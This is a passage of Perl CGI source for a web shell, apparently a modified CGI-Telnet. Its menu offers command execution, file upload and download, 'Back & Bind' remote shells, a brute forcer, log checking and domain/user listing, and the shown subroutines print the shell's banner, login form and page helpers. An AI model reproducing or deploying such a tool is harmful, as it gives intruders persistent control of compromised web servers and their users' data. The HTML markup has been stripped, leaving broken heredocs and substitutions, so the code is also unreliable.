$EditPersion
$ENV{"SERVER_SOFTWARE"}
Server IP: $ENV{'SERVER_ADDR'} | Your IP: $ENV{'REMOTE_ADDR'}
Home |
Command |
GUI |
Upload File |
Download File |
Back & Bind |
Brute Forcer |
Check Log |
Domains/Users |
Logout |
Help
END
}
#------------------------------------------------------------------------------
# Prints the Login Screen
#------------------------------------------------------------------------------
sub PrintLoginScreen
{
print <
Copyright (C) 2001 Rohitab Batra
Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
~\$ Connected !
$ServerName~ Checking Server . . . . . . . . . . . . . . . . . . .
$ServerName~ Trying connect to Command . . . . . . . . . . .
$ServerName~\$ Connected Command!
$ServerName~\$ OK! You can kill it!
END
}
#------------------------------------------------------------------------------
# Add html special chars
#------------------------------------------------------------------------------
sub HtmlSpecialChars($){
my $text = shift;
$text =~ s/&/&/g;
$text =~ s/"/"/g;
$text =~ s/'/'/g;
$text =~ s//>/g;
return $text;
}
#------------------------------------------------------------------------------
# Add link for directory
#------------------------------------------------------------------------------
sub AddLinkDir($)
{
my $ac=shift;
my @dir=();
if($WinNT)
{
@dir=split(/\\/,$CurrentDir);
}else
{
@dir=split("/",&trim($CurrentDir));
}
my $path="";
my $result="";
foreach (@dir)
{
$path .= $_.$PathSep;
$result.="".$_.$PathSep."";
}
return $result;
}
#------------------------------------------------------------------------------
# Prints the message that informs the user of a failed login
#------------------------------------------------------------------------------
sub PrintLoginFailedMessage
{
print <Login : Administrator
Password:
Login incorrect
END
}
#------------------------------------------------------------------------------
# Prints the HTML form for logging in
#------------------------------------------------------------------------------
sub PrintLoginForm
{
print <
Login : Administrator
Password:
END
}
#------------------------------------------------------------------------------
# Prints the footer for the HTML Page
#------------------------------------------------------------------------------
sub PrintPageFooter
{
print "
o---[ Edit by $EditPersion ]---o